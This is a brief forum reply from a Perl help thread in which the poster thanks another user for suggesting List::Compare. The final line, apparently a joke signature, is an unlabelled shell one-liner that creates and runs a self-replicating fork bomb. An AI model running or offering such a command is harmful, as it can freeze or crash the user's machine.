http://qs321.pair.com?node_id=533809


in reply to Re: How do I get an array which is the logical AND of the elements of two other arrays?
in thread How do I get an array which is the logical AND of the elements of two other arrays?

List::Compare was exactly what I wanted, thank you!
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;